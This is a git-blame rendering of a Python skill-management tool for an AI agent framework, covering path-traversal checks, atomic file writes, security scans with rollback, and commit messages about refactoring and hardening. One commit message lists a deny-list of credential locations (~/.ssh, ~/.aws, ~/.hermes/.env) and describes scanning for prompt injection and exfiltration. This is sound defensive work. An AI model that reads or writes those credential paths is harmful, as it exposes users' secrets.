- get_config_path: skill_utils.py, hermes_logging.py, hermes_time.py
- get_skills_dir: skill_utils.py, prompt_builder.py
- Token estimation dedup: skills_tool.py imports from model_metadata
- Path security: skills_tool, cronjob_tools, skill_manager_tool, credential_files
- Non-atomic YAML writes: doctor.py, config.py now use atomic_yaml_write
- Platform dict: new platforms.py, skills_config + tools_config derive from it
- Anthropic key: new get_anthropic_key() in auth.py, used by doctor/status/config/main
* test: update tests for shared helper migrations
- test_dingtalk: use _dedup.is_duplicate() instead of _is_duplicate()
- test_mattermost: use _dedup instead of _seen_posts/_prune_seen
- test_signal: import redact_phone from helpers instead of signal
- test_discord_connect: _platform_lock_identity instead of _token_lock_identity
- test_telegram_conflict: updated lock error message format
- test_skill_manager_tool: 'escapes' instead of 'boundary' in error msgs
2026-04-11 13:59:52 -07:00
|
|
|
from tools.path_security import has_traversal_component
|
|
|
|
|
|
2026-02-19 18:25:53 -08:00
|
|
|
if not file_path:
|
|
|
|
|
return "file_path is required."
|
|
|
|
|
|
|
|
|
|
normalized = Path(file_path)
|
|
|
|
|
|
|
|
|
|
# Prevent path traversal
|
refactor: extract shared helpers to deduplicate repeated code patterns (#7917)
* refactor: add shared helper modules for code deduplication
New modules:
- gateway/platforms/helpers.py: MessageDeduplicator, TextBatchAggregator,
strip_markdown, ThreadParticipationTracker, redact_phone
- hermes_cli/cli_output.py: print_info/success/warning/error, prompt helpers
- tools/path_security.py: validate_within_dir, has_traversal_component
- utils.py additions: safe_json_loads, read_json_file, read_jsonl,
append_jsonl, env_str/lower/int/bool helpers
- hermes_constants.py additions: get_config_path, get_skills_dir,
get_logs_dir, get_env_path
* refactor: migrate gateway adapters to shared helpers
- MessageDeduplicator: discord, slack, dingtalk, wecom, weixin, mattermost
- strip_markdown: bluebubbles, feishu, sms
- redact_phone: sms, signal
- ThreadParticipationTracker: discord, matrix
- _acquire/_release_platform_lock: telegram, discord, slack, whatsapp,
signal, weixin
Net -316 lines across 19 files.
* refactor: migrate CLI modules to shared helpers
- tools_config.py: use cli_output print/prompt + curses_radiolist (-117 lines)
- setup.py: use cli_output print helpers + curses_radiolist (-101 lines)
- mcp_config.py: use cli_output prompt (-15 lines)
- memory_setup.py: use curses_radiolist (-86 lines)
Net -263 lines across 5 files.
* refactor: migrate to shared utility helpers
- safe_json_loads: agent/display.py (4 sites)
- get_config_path: skill_utils.py, hermes_logging.py, hermes_time.py
- get_skills_dir: skill_utils.py, prompt_builder.py
- Token estimation dedup: skills_tool.py imports from model_metadata
- Path security: skills_tool, cronjob_tools, skill_manager_tool, credential_files
- Non-atomic YAML writes: doctor.py, config.py now use atomic_yaml_write
- Platform dict: new platforms.py, skills_config + tools_config derive from it
- Anthropic key: new get_anthropic_key() in auth.py, used by doctor/status/config/main
* test: update tests for shared helper migrations
- test_dingtalk: use _dedup.is_duplicate() instead of _is_duplicate()
- test_mattermost: use _dedup instead of _seen_posts/_prune_seen
- test_signal: import redact_phone from helpers instead of signal
- test_discord_connect: _platform_lock_identity instead of _token_lock_identity
- test_telegram_conflict: updated lock error message format
- test_skill_manager_tool: 'escapes' instead of 'boundary' in error msgs
2026-04-11 13:59:52 -07:00
|
|
|
if has_traversal_component(file_path):
|
2026-02-19 18:25:53 -08:00
|
|
|
return "Path traversal ('..') is not allowed."
|
|
|
|
|
|
|
|
|
|
# Must be under an allowed subdirectory
|
|
|
|
|
if not normalized.parts or normalized.parts[0] not in ALLOWED_SUBDIRS:
|
|
|
|
|
allowed = ", ".join(sorted(ALLOWED_SUBDIRS))
|
|
|
|
|
return f"File must be under one of: {allowed}. Got: '{file_path}'"
|
|
|
|
|
|
|
|
|
|
# Must have a filename (not just a directory)
|
|
|
|
|
if len(normalized.parts) < 2:
|
|
|
|
|
return f"Provide a file path, not just a directory. Example: '{normalized.parts[0]}/myfile.md'"
|
|
|
|
|
|
|
|
|
|
return None
|
|
|
|
|
|
|
|
|
|
|
2026-04-10 12:37:06 +03:00
|
|
|
def _resolve_skill_target(skill_dir: Path, file_path: str) -> Tuple[Optional[Path], Optional[str]]:
|
|
|
|
|
"""Resolve a supporting-file path and ensure it stays within the skill directory."""
|
refactor: extract shared helpers to deduplicate repeated code patterns (#7917)
* refactor: add shared helper modules for code deduplication
New modules:
- gateway/platforms/helpers.py: MessageDeduplicator, TextBatchAggregator,
strip_markdown, ThreadParticipationTracker, redact_phone
- hermes_cli/cli_output.py: print_info/success/warning/error, prompt helpers
- tools/path_security.py: validate_within_dir, has_traversal_component
- utils.py additions: safe_json_loads, read_json_file, read_jsonl,
append_jsonl, env_str/lower/int/bool helpers
- hermes_constants.py additions: get_config_path, get_skills_dir,
get_logs_dir, get_env_path
* refactor: migrate gateway adapters to shared helpers
- MessageDeduplicator: discord, slack, dingtalk, wecom, weixin, mattermost
- strip_markdown: bluebubbles, feishu, sms
- redact_phone: sms, signal
- ThreadParticipationTracker: discord, matrix
- _acquire/_release_platform_lock: telegram, discord, slack, whatsapp,
signal, weixin
Net -316 lines across 19 files.
* refactor: migrate CLI modules to shared helpers
- tools_config.py: use cli_output print/prompt + curses_radiolist (-117 lines)
- setup.py: use cli_output print helpers + curses_radiolist (-101 lines)
- mcp_config.py: use cli_output prompt (-15 lines)
- memory_setup.py: use curses_radiolist (-86 lines)
Net -263 lines across 5 files.
* refactor: migrate to shared utility helpers
- safe_json_loads: agent/display.py (4 sites)
- get_config_path: skill_utils.py, hermes_logging.py, hermes_time.py
- get_skills_dir: skill_utils.py, prompt_builder.py
- Token estimation dedup: skills_tool.py imports from model_metadata
- Path security: skills_tool, cronjob_tools, skill_manager_tool, credential_files
- Non-atomic YAML writes: doctor.py, config.py now use atomic_yaml_write
- Platform dict: new platforms.py, skills_config + tools_config derive from it
- Anthropic key: new get_anthropic_key() in auth.py, used by doctor/status/config/main
* test: update tests for shared helper migrations
- test_dingtalk: use _dedup.is_duplicate() instead of _is_duplicate()
- test_mattermost: use _dedup instead of _seen_posts/_prune_seen
- test_signal: import redact_phone from helpers instead of signal
- test_discord_connect: _platform_lock_identity instead of _token_lock_identity
- test_telegram_conflict: updated lock error message format
- test_skill_manager_tool: 'escapes' instead of 'boundary' in error msgs
2026-04-11 13:59:52 -07:00
|
|
|
from tools.path_security import validate_within_dir
|
|
|
|
|
|
2026-04-10 12:37:06 +03:00
|
|
|
target = skill_dir / file_path
|
refactor: extract shared helpers to deduplicate repeated code patterns (#7917)
* refactor: add shared helper modules for code deduplication
New modules:
- gateway/platforms/helpers.py: MessageDeduplicator, TextBatchAggregator,
strip_markdown, ThreadParticipationTracker, redact_phone
- hermes_cli/cli_output.py: print_info/success/warning/error, prompt helpers
- tools/path_security.py: validate_within_dir, has_traversal_component
- utils.py additions: safe_json_loads, read_json_file, read_jsonl,
append_jsonl, env_str/lower/int/bool helpers
- hermes_constants.py additions: get_config_path, get_skills_dir,
get_logs_dir, get_env_path
* refactor: migrate gateway adapters to shared helpers
- MessageDeduplicator: discord, slack, dingtalk, wecom, weixin, mattermost
- strip_markdown: bluebubbles, feishu, sms
- redact_phone: sms, signal
- ThreadParticipationTracker: discord, matrix
- _acquire/_release_platform_lock: telegram, discord, slack, whatsapp,
signal, weixin
Net -316 lines across 19 files.
* refactor: migrate CLI modules to shared helpers
- tools_config.py: use cli_output print/prompt + curses_radiolist (-117 lines)
- setup.py: use cli_output print helpers + curses_radiolist (-101 lines)
- mcp_config.py: use cli_output prompt (-15 lines)
- memory_setup.py: use curses_radiolist (-86 lines)
Net -263 lines across 5 files.
* refactor: migrate to shared utility helpers
- safe_json_loads: agent/display.py (4 sites)
- get_config_path: skill_utils.py, hermes_logging.py, hermes_time.py
- get_skills_dir: skill_utils.py, prompt_builder.py
- Token estimation dedup: skills_tool.py imports from model_metadata
- Path security: skills_tool, cronjob_tools, skill_manager_tool, credential_files
- Non-atomic YAML writes: doctor.py, config.py now use atomic_yaml_write
- Platform dict: new platforms.py, skills_config + tools_config derive from it
- Anthropic key: new get_anthropic_key() in auth.py, used by doctor/status/config/main
* test: update tests for shared helper migrations
- test_dingtalk: use _dedup.is_duplicate() instead of _is_duplicate()
- test_mattermost: use _dedup instead of _seen_posts/_prune_seen
- test_signal: import redact_phone from helpers instead of signal
- test_discord_connect: _platform_lock_identity instead of _token_lock_identity
- test_telegram_conflict: updated lock error message format
- test_skill_manager_tool: 'escapes' instead of 'boundary' in error msgs
2026-04-11 13:59:52 -07:00
|
|
|
error = validate_within_dir(target, skill_dir)
|
|
|
|
|
if error:
|
|
|
|
|
return None, error
|
2026-04-10 12:37:06 +03:00
|
|
|
return target, None
|
|
|
|
|
|
|
|
|
|
|
2026-03-07 00:49:10 +03:00
|
|
|
def _atomic_write_text(file_path: Path, content: str, encoding: str = "utf-8") -> None:
|
|
|
|
|
"""
|
|
|
|
|
Atomically write text content to a file.
|
|
|
|
|
|
|
|
|
|
Uses a temporary file in the same directory and os.replace() to ensure
|
|
|
|
|
the target file is never left in a partially-written state if the process
|
|
|
|
|
crashes or is interrupted.
|
|
|
|
|
|
|
|
|
|
Args:
|
|
|
|
|
file_path: Target file path
|
|
|
|
|
content: Content to write
|
|
|
|
|
encoding: Text encoding (default: utf-8)
|
|
|
|
|
"""
|
|
|
|
|
file_path.parent.mkdir(parents=True, exist_ok=True)
|
|
|
|
|
fd, temp_path = tempfile.mkstemp(
|
|
|
|
|
dir=str(file_path.parent),
|
|
|
|
|
prefix=f".{file_path.name}.tmp.",
|
|
|
|
|
suffix="",
|
|
|
|
|
)
|
|
|
|
|
try:
|
|
|
|
|
with os.fdopen(fd, "w", encoding=encoding) as f:
|
|
|
|
|
f.write(content)
|
refactor: consolidate symlink-safe atomic replace into shared helper
Extract the islink/realpath guard from the 16743 fix into a single
atomic_replace() helper in utils.py, then migrate every os.replace()
call site in the codebase to use it.
The original PR #16777 correctly identified and fixed the bug, but
only patched 9 of ~24 call sites. The same bug class (managed
deployments that symlink state files silently losing the link on
every write) still existed at auth.json, sessions file, gateway
config, env_loader, webhook subscriptions, debug store, model
catalog, pairing, google OAuth, nous rate guard, and more.
Rather than add another 10+ copies of the same three-line guard,
consolidate into atomic_replace(tmp, target) which:
- resolves symlinks via os.path.realpath before os.replace
- returns the resolved real path so callers can re-apply permissions
- is a drop-in replacement for os.replace at the use sites
Changes:
- utils.py: new atomic_replace() helper + atomic_json_write /
atomic_yaml_write now call it instead of inlining the guard
- 16 files: all os.replace() call sites migrated to atomic_replace()
- agent/{google_oauth, nous_rate_guard, shell_hooks}.py
- cron/jobs.py
- gateway/{pairing, session, platforms/telegram}.py
- hermes_cli/{auth, config, debug, env_loader, model_catalog, webhook}.py
- tools/{memory_tool, skill_manager_tool, skills_sync}.py
Tests: tests/test_atomic_replace_symlinks.py pins the invariant for
atomic_replace + atomic_json_write + atomic_yaml_write, covers plain
files, first-time creates, broken symlinks, and permission preservation.
Refs #16743
Builds on #16777 by @vominh1919.
2026-04-28 04:51:38 -07:00
|
|
|
atomic_replace(temp_path, file_path)
|
2026-03-07 00:49:10 +03:00
|
|
|
except Exception:
|
|
|
|
|
# Clean up temp file on error
|
|
|
|
|
try:
|
|
|
|
|
os.unlink(temp_path)
|
|
|
|
|
except OSError:
|
2026-03-16 15:25:30 +03:00
|
|
|
logger.error("Failed to remove temporary file %s during atomic write", temp_path, exc_info=True)
|
2026-03-07 00:49:10 +03:00
|
|
|
raise
|
|
|
|
|
|
|
|
|
|
|
2026-02-19 18:25:53 -08:00
|
|
|
# =============================================================================
|
|
|
|
|
# Core actions
|
|
|
|
|
# =============================================================================
|
|
|
|
|
|
|
|
|
|
def _create_skill(name: str, content: str, category: str = None) -> Dict[str, Any]:
|
|
|
|
|
"""Create a new user skill with SKILL.md content."""
|
|
|
|
|
# Validate name
|
|
|
|
|
err = _validate_name(name)
|
|
|
|
|
if err:
|
|
|
|
|
return {"success": False, "error": err}
|
|
|
|
|
|
2026-03-29 20:08:22 -07:00
|
|
|
err = _validate_category(category)
|
|
|
|
|
if err:
|
|
|
|
|
return {"success": False, "error": err}
|
|
|
|
|
|
2026-02-19 18:25:53 -08:00
|
|
|
# Validate content
|
|
|
|
|
err = _validate_frontmatter(content)
|
|
|
|
|
if err:
|
|
|
|
|
return {"success": False, "error": err}
|
|
|
|
|
|
2026-04-01 04:19:19 -07:00
|
|
|
err = _validate_content_size(content)
|
|
|
|
|
if err:
|
|
|
|
|
return {"success": False, "error": err}
|
|
|
|
|
|
2026-02-19 18:25:53 -08:00
|
|
|
# Check for name collisions across all directories
|
|
|
|
|
existing = _find_skill(name)
|
|
|
|
|
if existing:
|
|
|
|
|
return {
|
|
|
|
|
"success": False,
|
|
|
|
|
"error": f"A skill named '{name}' already exists at {existing['path']}."
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
# Create the skill directory
|
|
|
|
|
skill_dir = _resolve_skill_dir(name, category)
|
|
|
|
|
skill_dir.mkdir(parents=True, exist_ok=True)
|
|
|
|
|
|
2026-03-07 00:49:10 +03:00
|
|
|
# Write SKILL.md atomically
|
2026-02-19 18:25:53 -08:00
|
|
|
skill_md = skill_dir / "SKILL.md"
|
2026-03-07 00:49:10 +03:00
|
|
|
_atomic_write_text(skill_md, content)
|
2026-02-19 18:25:53 -08:00
|
|
|
|
Harden agent attack surface: scan writes to memory, skills, cron, and context files
The security scanner (skills_guard.py) was only wired into the hub install path.
All other write paths to persistent state — skills created by the agent, memory
entries, cron prompts, and context files — bypassed it entirely. This closes
those gaps:
- file_operations: deny-list blocks writes to ~/.ssh, ~/.aws, ~/.hermes/.env, etc.
- code_execution_tool: filter secret env vars from sandbox child process
- skill_manager_tool: wire scan_skill() into create/edit/patch/write_file with rollback
- skills_guard: add "agent-created" trust level (same policy as community)
- memory_tool: scan content for injection/exfil before system prompt injection
- prompt_builder: scan AGENTS.md, .cursorrules, SOUL.md for prompt injection
- cronjob_tools: scan cron prompts for critical threats before scheduling
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-25 23:43:15 -05:00
|
|
|
# Security scan — roll back on block
|
|
|
|
|
scan_error = _security_scan_skill(skill_dir)
|
|
|
|
|
if scan_error:
|
|
|
|
|
shutil.rmtree(skill_dir, ignore_errors=True)
|
|
|
|
|
return {"success": False, "error": scan_error}
|
|
|
|
|
|
2026-02-19 18:25:53 -08:00
|
|
|
result = {
|
|
|
|
|
"success": True,
|
|
|
|
|
"message": f"Skill '{name}' created.",
|
|
|
|
|
"path": str(skill_dir.relative_to(SKILLS_DIR)),
|
|
|
|
|
"skill_md": str(skill_md),
|
|
|
|
|
}
|
|
|
|
|
if category:
|
|
|
|
|
result["category"] = category
|
|
|
|
|
result["hint"] = (
|
|
|
|
|
"To add reference files, templates, or scripts, use "
|
|
|
|
|
"skill_manage(action='write_file', name='{}', file_path='references/example.md', file_content='...')".format(name)
|
|
|
|
|
)
|
|
|
|
|
return result
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def _edit_skill(name: str, content: str) -> Dict[str, Any]:
|
|
|
|
|
"""Replace the SKILL.md of any existing skill (full rewrite)."""
|
|
|
|
|
err = _validate_frontmatter(content)
|
|
|
|
|
if err:
|
|
|
|
|
return {"success": False, "error": err}
|
|
|
|
|
|
2026-04-01 04:19:19 -07:00
|
|
|
err = _validate_content_size(content)
|
|
|
|
|
if err:
|
|
|
|
|
return {"success": False, "error": err}
|
|
|
|
|
|
2026-02-19 18:25:53 -08:00
|
|
|
existing = _find_skill(name)
|
|
|
|
|
if not existing:
|
|
|
|
|
return {"success": False, "error": f"Skill '{name}' not found. Use skills_list() to see available skills."}
|
|
|
|
|
|
2026-04-29 10:28:25 -07:00
|
|
|
pinned_err = _pinned_guard(name)
|
|
|
|
|
if pinned_err:
|
|
|
|
|
return {"success": False, "error": pinned_err}
|
|
|
|
|
|
2026-02-19 18:25:53 -08:00
|
|
|
skill_md = existing["path"] / "SKILL.md"
|
Harden agent attack surface: scan writes to memory, skills, cron, and context files
The security scanner (skills_guard.py) was only wired into the hub install path.
All other write paths to persistent state — skills created by the agent, memory
entries, cron prompts, and context files — bypassed it entirely. This closes
those gaps:
- file_operations: deny-list blocks writes to ~/.ssh, ~/.aws, ~/.hermes/.env, etc.
- code_execution_tool: filter secret env vars from sandbox child process
- skill_manager_tool: wire scan_skill() into create/edit/patch/write_file with rollback
- skills_guard: add "agent-created" trust level (same policy as community)
- memory_tool: scan content for injection/exfil before system prompt injection
- prompt_builder: scan AGENTS.md, .cursorrules, SOUL.md for prompt injection
- cronjob_tools: scan cron prompts for critical threats before scheduling
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-25 23:43:15 -05:00
|
|
|
# Back up original content for rollback
|
|
|
|
|
original_content = skill_md.read_text(encoding="utf-8") if skill_md.exists() else None
|
2026-03-07 00:49:10 +03:00
|
|
|
_atomic_write_text(skill_md, content)
|
2026-02-19 18:25:53 -08:00
|
|
|
|
Harden agent attack surface: scan writes to memory, skills, cron, and context files
The security scanner (skills_guard.py) was only wired into the hub install path.
All other write paths to persistent state — skills created by the agent, memory
entries, cron prompts, and context files — bypassed it entirely. This closes
those gaps:
- file_operations: deny-list blocks writes to ~/.ssh, ~/.aws, ~/.hermes/.env, etc.
- code_execution_tool: filter secret env vars from sandbox child process
- skill_manager_tool: wire scan_skill() into create/edit/patch/write_file with rollback
- skills_guard: add "agent-created" trust level (same policy as community)
- memory_tool: scan content for injection/exfil before system prompt injection
- prompt_builder: scan AGENTS.md, .cursorrules, SOUL.md for prompt injection
- cronjob_tools: scan cron prompts for critical threats before scheduling
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-25 23:43:15 -05:00
|
|
|
# Security scan — roll back on block
|
|
|
|
|
scan_error = _security_scan_skill(existing["path"])
|
|
|
|
|
if scan_error:
|
|
|
|
|
if original_content is not None:
|
2026-03-07 00:49:10 +03:00
|
|
|
_atomic_write_text(skill_md, original_content)
|
Harden agent attack surface: scan writes to memory, skills, cron, and context files
The security scanner (skills_guard.py) was only wired into the hub install path.
All other write paths to persistent state — skills created by the agent, memory
entries, cron prompts, and context files — bypassed it entirely. This closes
those gaps:
- file_operations: deny-list blocks writes to ~/.ssh, ~/.aws, ~/.hermes/.env, etc.
- code_execution_tool: filter secret env vars from sandbox child process
- skill_manager_tool: wire scan_skill() into create/edit/patch/write_file with rollback
- skills_guard: add "agent-created" trust level (same policy as community)
- memory_tool: scan content for injection/exfil before system prompt injection
- prompt_builder: scan AGENTS.md, .cursorrules, SOUL.md for prompt injection
- cronjob_tools: scan cron prompts for critical threats before scheduling
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-25 23:43:15 -05:00
|
|
|
return {"success": False, "error": scan_error}
|
|
|
|
|
|
2026-02-19 18:25:53 -08:00
|
|
|
return {
|
|
|
|
|
"success": True,
|
|
|
|
|
"message": f"Skill '{name}' updated.",
|
|
|
|
|
"path": str(existing["path"]),
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def _patch_skill(
|
|
|
|
|
name: str,
|
|
|
|
|
old_string: str,
|
|
|
|
|
new_string: str,
|
|
|
|
|
file_path: str = None,
|
|
|
|
|
replace_all: bool = False,
|
|
|
|
|
) -> Dict[str, Any]:
|
|
|
|
|
"""Targeted find-and-replace within a skill file.
|
|
|
|
|
|
|
|
|
|
Defaults to SKILL.md. Use file_path to patch a supporting file instead.
|
|
|
|
|
Requires a unique match unless replace_all is True.
|
|
|
|
|
"""
|
|
|
|
|
if not old_string:
|
|
|
|
|
return {"success": False, "error": "old_string is required for 'patch'."}
|
|
|
|
|
if new_string is None:
|
|
|
|
|
return {"success": False, "error": "new_string is required for 'patch'. Use an empty string to delete matched text."}
|
|
|
|
|
|
|
|
|
|
existing = _find_skill(name)
|
|
|
|
|
if not existing:
|
|
|
|
|
return {"success": False, "error": f"Skill '{name}' not found."}
|
|
|
|
|
|
2026-04-29 10:28:25 -07:00
|
|
|
pinned_err = _pinned_guard(name)
|
|
|
|
|
if pinned_err:
|
|
|
|
|
return {"success": False, "error": pinned_err}
|
|
|
|
|
|
2026-02-19 18:25:53 -08:00
|
|
|
skill_dir = existing["path"]
|
|
|
|
|
|
|
|
|
|
if file_path:
|
|
|
|
|
# Patching a supporting file
|
|
|
|
|
err = _validate_file_path(file_path)
|
|
|
|
|
if err:
|
|
|
|
|
return {"success": False, "error": err}
|
2026-04-10 12:37:06 +03:00
|
|
|
target, err = _resolve_skill_target(skill_dir, file_path)
|
|
|
|
|
if err:
|
|
|
|
|
return {"success": False, "error": err}
|
2026-02-19 18:25:53 -08:00
|
|
|
else:
|
|
|
|
|
# Patching SKILL.md
|
|
|
|
|
target = skill_dir / "SKILL.md"
|
|
|
|
|
|
|
|
|
|
if not target.exists():
|
|
|
|
|
return {"success": False, "error": f"File not found: {target.relative_to(skill_dir)}"}
|
|
|
|
|
|
|
|
|
|
content = target.read_text(encoding="utf-8")
|
|
|
|
|
|
2026-04-01 04:19:19 -07:00
|
|
|
# Use the same fuzzy matching engine as the file patch tool.
|
|
|
|
|
# This handles whitespace normalization, indentation differences,
|
|
|
|
|
# escape sequences, and block-anchor matching — saving the agent
|
|
|
|
|
# from exact-match failures on minor formatting mismatches.
|
|
|
|
|
from tools.fuzzy_match import fuzzy_find_and_replace
|
|
|
|
|
|
fix(patch): harden V4A patch parser and fuzzy match — 9 correctness bugs
- Bug 1: replace read_file(limit=10000) with read_file_raw in _apply_update,
preventing silent truncation of files >2000 lines and corruption of lines
>2000 chars; add read_file_raw to FileOperations abstract interface and
ShellFileOperations
- Bug 2: split apply_v4a_operations into validate-then-apply phases; if any
hunk fails validation, zero writes occur (was: continue after failure,
leaving filesystem partially modified)
- Bug 3: parse_v4a_patch now returns an error for begin-marker-with-no-ops,
empty file paths, and moves missing a destination (was: always returned
error=None)
- Bug 4: raise strategy 7 (block anchor) single-candidate similarity threshold
from 0.10 to 0.50, eliminating false-positive matches in repetitive code
- Bug 5: add _strategy_unicode_normalized (new strategy 7) with position
mapping via _build_orig_to_norm_map; smart quotes and em-dashes in
LLM-generated patches now match via strategies 1-6 before falling through
to fuzzy strategies
- Bug 6: extend fuzzy_find_and_replace to return 4-tuple (content, count,
error, strategy); update all 5 call sites across patch_parser.py,
file_operations.py, and skill_manager_tool.py
- Bug 7: guard in _apply_update returns error when addition-only context hint
is ambiguous (>1 occurrences); validation phase errors on both 0 and >1
- Bug 8: _apply_delete returns error (not silent success) on missing file
- Bug 9: _validate_operations checks source existence and destination absence
for MOVE operations before any write occurs
2026-04-10 00:11:07 +02:00
|
|
|
new_content, match_count, _strategy, match_error = fuzzy_find_and_replace(
|
2026-04-01 04:19:19 -07:00
|
|
|
content, old_string, new_string, replace_all
|
|
|
|
|
)
|
|
|
|
|
if match_error:
|
2026-02-19 18:25:53 -08:00
|
|
|
# Show a short preview of the file so the model can self-correct
|
|
|
|
|
preview = content[:500] + ("..." if len(content) > 500 else "")
|
fix(patch): gate 'did you mean?' to no-match + extend to v4a/skill_manage
Follow-ups on top of @teyrebaz33's cherry-picked commit:
1. New shared helper format_no_match_hint() in fuzzy_match.py with a
startswith('Could not find') gate so the snippet only appends to
genuine no-match errors — not to 'Found N matches' (ambiguous),
'Escape-drift detected', or 'identical strings' errors, which would
all mislead the model.
2. file_tools.patch_tool suppresses the legacy generic '[Hint: old_string
not found...]' string when the rich 'Did you mean?' snippet is
already attached — no more double-hint.
3. Wire the same helper into patch_parser.py (V4A patch mode, both
_validate_operations and _apply_update) and skill_manager_tool.py so
all three fuzzy callers surface the hint consistently.
Tests: 7 new gating tests in TestFormatNoMatchHint cover every error
class (ambiguous, drift, identical, non-zero match count, None error,
no similar content, happy path). 34/34 test_fuzzy_match, 96/96
test_file_tools + test_patch_parser + test_skill_manager_tool pass.
E2E verified across all four scenarios: no-match-with-similar,
no-match-no-similar, ambiguous, success. V4A mode confirmed
end-to-end with a non-matching hunk.
2026-04-21 01:59:58 -07:00
|
|
|
err_msg = match_error
|
|
|
|
|
try:
|
|
|
|
|
from tools.fuzzy_match import format_no_match_hint
|
|
|
|
|
err_msg += format_no_match_hint(match_error, match_count, old_string, content)
|
|
|
|
|
except Exception:
|
|
|
|
|
pass
|
2026-02-19 18:25:53 -08:00
|
|
|
return {
|
|
|
|
|
"success": False,
|
fix(patch): gate 'did you mean?' to no-match + extend to v4a/skill_manage
Follow-ups on top of @teyrebaz33's cherry-picked commit:
1. New shared helper format_no_match_hint() in fuzzy_match.py with a
startswith('Could not find') gate so the snippet only appends to
genuine no-match errors — not to 'Found N matches' (ambiguous),
'Escape-drift detected', or 'identical strings' errors, which would
all mislead the model.
2. file_tools.patch_tool suppresses the legacy generic '[Hint: old_string
not found...]' string when the rich 'Did you mean?' snippet is
already attached — no more double-hint.
3. Wire the same helper into patch_parser.py (V4A patch mode, both
_validate_operations and _apply_update) and skill_manager_tool.py so
all three fuzzy callers surface the hint consistently.
Tests: 7 new gating tests in TestFormatNoMatchHint cover every error
class (ambiguous, drift, identical, non-zero match count, None error,
no similar content, happy path). 34/34 test_fuzzy_match, 96/96
test_file_tools + test_patch_parser + test_skill_manager_tool pass.
E2E verified across all four scenarios: no-match-with-similar,
no-match-no-similar, ambiguous, success. V4A mode confirmed
end-to-end with a non-matching hunk.
2026-04-21 01:59:58 -07:00
|
|
|
"error": err_msg,
|
2026-02-19 18:25:53 -08:00
|
|
|
"file_preview": preview,
|
|
|
|
|
}
|
|
|
|
|
|
2026-04-01 04:19:19 -07:00
|
|
|
# Check size limit on the result
|
|
|
|
|
target_label = "SKILL.md" if not file_path else file_path
|
|
|
|
|
err = _validate_content_size(new_content, label=target_label)
|
|
|
|
|
if err:
|
|
|
|
|
return {"success": False, "error": err}
|
2026-02-19 18:25:53 -08:00
|
|
|
|
|
|
|
|
# If patching SKILL.md, validate frontmatter is still intact
|
|
|
|
|
if not file_path:
|
|
|
|
|
err = _validate_frontmatter(new_content)
|
|
|
|
|
if err:
|
|
|
|
|
return {
|
|
|
|
|
"success": False,
|
|
|
|
|
"error": f"Patch would break SKILL.md structure: {err}",
|
|
|
|
|
}
|
|
|
|
|
|
Harden agent attack surface: scan writes to memory, skills, cron, and context files
The security scanner (skills_guard.py) was only wired into the hub install path.
All other write paths to persistent state — skills created by the agent, memory
entries, cron prompts, and context files — bypassed it entirely. This closes
those gaps:
- file_operations: deny-list blocks writes to ~/.ssh, ~/.aws, ~/.hermes/.env, etc.
- code_execution_tool: filter secret env vars from sandbox child process
- skill_manager_tool: wire scan_skill() into create/edit/patch/write_file with rollback
- skills_guard: add "agent-created" trust level (same policy as community)
- memory_tool: scan content for injection/exfil before system prompt injection
- prompt_builder: scan AGENTS.md, .cursorrules, SOUL.md for prompt injection
- cronjob_tools: scan cron prompts for critical threats before scheduling
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-25 23:43:15 -05:00
|
|
|
original_content = content # for rollback
|
2026-03-07 00:49:10 +03:00
|
|
|
_atomic_write_text(target, new_content)
|
2026-02-19 18:25:53 -08:00
|
|
|
|
Harden agent attack surface: scan writes to memory, skills, cron, and context files
The security scanner (skills_guard.py) was only wired into the hub install path.
All other write paths to persistent state — skills created by the agent, memory
entries, cron prompts, and context files — bypassed it entirely. This closes
those gaps:
- file_operations: deny-list blocks writes to ~/.ssh, ~/.aws, ~/.hermes/.env, etc.
- code_execution_tool: filter secret env vars from sandbox child process
- skill_manager_tool: wire scan_skill() into create/edit/patch/write_file with rollback
- skills_guard: add "agent-created" trust level (same policy as community)
- memory_tool: scan content for injection/exfil before system prompt injection
- prompt_builder: scan AGENTS.md, .cursorrules, SOUL.md for prompt injection
- cronjob_tools: scan cron prompts for critical threats before scheduling
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-25 23:43:15 -05:00
|
|
|
# Security scan — roll back on block
|
|
|
|
|
scan_error = _security_scan_skill(skill_dir)
|
|
|
|
|
if scan_error:
|
2026-03-07 00:49:10 +03:00
|
|
|
_atomic_write_text(target, original_content)
|
Harden agent attack surface: scan writes to memory, skills, cron, and context files
The security scanner (skills_guard.py) was only wired into the hub install path.
All other write paths to persistent state — skills created by the agent, memory
entries, cron prompts, and context files — bypassed it entirely. This closes
those gaps:
- file_operations: deny-list blocks writes to ~/.ssh, ~/.aws, ~/.hermes/.env, etc.
- code_execution_tool: filter secret env vars from sandbox child process
- skill_manager_tool: wire scan_skill() into create/edit/patch/write_file with rollback
- skills_guard: add "agent-created" trust level (same policy as community)
- memory_tool: scan content for injection/exfil before system prompt injection
- prompt_builder: scan AGENTS.md, .cursorrules, SOUL.md for prompt injection
- cronjob_tools: scan cron prompts for critical threats before scheduling
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-25 23:43:15 -05:00
|
|
|
return {"success": False, "error": scan_error}
|
|
|
|
|
|
2026-02-19 18:25:53 -08:00
|
|
|
return {
|
|
|
|
|
"success": True,
|
2026-04-01 04:19:19 -07:00
|
|
|
"message": f"Patched {'SKILL.md' if not file_path else file_path} in skill '{name}' ({match_count} replacement{'s' if match_count > 1 else ''}).",
|
2026-02-19 18:25:53 -08:00
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
fix(curator): authoritative absorbed_into on delete + restore cron skill links on rollback (#18671) (#18731)
* fix(curator): authoritative absorbed_into declarations on skill delete
Closes #18671. The classification pipeline that feeds cron-ref rewriting
used to infer consolidation vs pruning from two brittle signals: the
curator model's post-hoc YAML summary block, and a substring heuristic
scanning other tool calls for the removed skill's name. Both miss in
real consolidations — the model forgets the YAML under reasoning
pressure, and the heuristic misses when the umbrella's patch content
describes the absorbed behavior abstractly instead of naming the old
slug. When both miss, the skill falls through to 'no-evidence fallback'
